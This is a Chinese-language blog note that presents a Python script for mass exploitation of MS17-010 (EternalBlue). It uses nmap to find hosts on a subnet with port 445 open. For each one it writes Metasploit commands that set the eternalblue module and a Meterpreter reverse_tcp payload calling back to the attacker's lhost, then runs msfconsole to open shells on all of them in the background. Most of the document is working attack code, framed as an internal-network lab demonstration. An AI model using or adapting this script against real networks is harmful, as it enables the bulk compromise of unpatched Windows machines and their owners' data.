Python腳本與Metasploit交互批量產出MS17_010 shell

  • 2019 年 10 月 8 日
  • 筆記

前言:

2017年5月,被稱為近10年來影響範圍最廣泛「最囂張」的WannaCry勒索病毒席捲全球,據統計,全球共有150多個國家超30萬台終端被感染,波及政府、學校、醫院、金融、航班等各行各業。 在神器Metasploit中我們利用exploit/windows/smb/ms17010eternalblue這個模塊可以對這個漏洞進行復現,但是在對內網整個網段進行漏洞驗證的時候 每次都要輸入參數的過程讓我覺得很繁瑣,於是寫下了ms17_010漏洞批量利用的腳本

實驗環境安裝:

以kali為例(安裝nmap庫): pip install nmap pip install python-nmap (如果是ubuntu 請自行安裝nmap和msf控制台)

整體代碼架構

利用nmap庫掃描:

首先,需要了解一下python一個名為nmap的第三方庫,給網絡掃描帶來了極大的便利,創建一個PortScanner()類對象,這使我們能用這個對象完成掃描操作,利用類裏面的scan()函數,將目標主機的地址和端口作為參數輸入,進行掃描,通過返回的參數來判斷主機的狀態, 以掃描百度的80端口為例:

import nmap  scanner=nmap.PortScanner()  //創建一個PortScanner()類對象  result=scanner.scan('183.232.231.172','80') //利用scan()函數對主機的地址和端口進行掃描  print result  //輸出返回信息

返回信息:

{'nmap': {'scanstats': {'uphosts': '1', 'timestr': 'Sat Mar 16 01:44:25 2019', 'downhosts': '0', 'totalhosts': '1', 'elapsed': '18.97'}, 'scaninfo': {'tcp': {'services': '80', 'method': 'syn'}}, 'commandline': 'nmap -oX – -p 80 -sV 183.232.231.172'}, 'scan': {'183.232.231.172': {'status': {'state': 'up', 'reason': 'reset'}, 'hostnames': [{'type': '', 'name': ''}], 'vendor': {}, 'addresses': {'ipv4': '183.232.231.172'}, 'tcp': {80: {'product': 'Apache httpd', 'state': 'open', 'version': '', 'name': 'http', 'conf': '10', 'extrainfo': '', 'reason': 'syn-ack', 'cpe': 'cpe:/a:apache:httpserver'}}}}}

uphosts為1則主機存活,0表示主機沒有存活,tcp裏面的state的值可以看出端口的開放狀態, 接下來會重點用到這兩個值 判斷目標主機是否存活和445端口的狀態:

def find_target(host):      target_list=[]  //創建一個列表用來存放主機存活且開放445端口的列表      for target in IP(str(host))[1:]:  //利用IPy類裏面的IP()庫轉換成每個單獨的ip          target=str(target)          scanner=nmap.PortScanner()   //初始化一個PortScanner()類對象          rst=scanner.scan(target,'445')  //對目標的445端口進行掃描          if rst['nmap']['scanstats']['uphosts'] == '0':  //判斷目標主機是否存活              print 'Host not up:'+target    //用戶交互輸出              continue          state=rst['scan'][target]['tcp'][445]['state']  //記錄445端口的開放狀態          if state =='open':  //進行端口狀態的判斷              target_list.append(target)   //如果端口開放,將主機ip加入到列表              print str(target)+' with 445 port open, there may be a vulnerability in ms17_010'          else:              print str(target)+' 445 port not open!'      return target_list

配置文件寫入:

def create_file(configfile,target,lhost):      configfile.write('use exploit/windows/smb/ms17_010_eternalbluen') //使用ms17_010利用模塊      configfile.write('set rhost '+target+'n') //設置rhost      configfile.write('set payload windows/x64/meterpreter/reverse_tcpn')  //設置payload      lport=4444+int(target.split('.')[-1]) //本地監聽端口根據ip地址進行計算,防止多個shell產生端口衝突的問題      configfile.write('set lport '+str(lport)+'n')  //設置lport      configfile.write('set lhost '+str(lhost)+'n')  //設置lhost      configfile.write('exploit -j -zn')   //在後台且不與用戶交互運行      print "Your shell will created at "+ str(lhost) + ":"+str(lport)

因為腳本會黑掉多個靶機,不可能同時與他們交互,所以採用exploit -j -z在後台運行,並且本地監聽端口為4444+主機地址的計算方式

主函數:

利用optparse庫獲取用戶的輸入參數

def main():      parser = optparse.OptionParser('%prog -H <target> -L <lhost>')   //構造optionparser的對象並且給用戶一個說明文檔      parser.add_option('-H',dest='host',type='string')   //在對象中增加參數選項      parser.add_option('-L',dest='lhost',type='string')      (options,args) = parser.parse_args()  //調用optionparser的解析函數,解析用戶輸入的命令      host=options.host      lhost=options.lhost      if host == None:    //用戶如果沒有輸入掃描目標,輸出說明文檔          parser.print_help()          exit(0)      target_list=find_target(host)  //獲取開放445端口的主機      for target in target_list:   //對每個主機進行循環          configfile = open('meta.rc','a')   //利用文件追加的方式打開文件          create_file(configfile,target,lhost)  //配置文件寫入          configfile.close()      command='msfconsole -r meta.rc'   //為了縮短測試時間可以將命令先寫入一個文件,然後在msf中加載它      os.system(command)  //運行系統命令

進行代碼整合:

源代碼下載

演示:

靶機: 192.168.40.4(win7) 192.168.40.5(win7) 攻擊機: 192.168.40.138(kali)

查看sessions:

總結:

批量化自動腳本給網絡掃描帶來了極大的便利,此代碼注重Python和Metasploit的交互過程,可以舉一反三和其他模塊進行批量交互,有興趣的可以自行編寫.

參考文獻: Python絕技:運用Python成為頂級黑客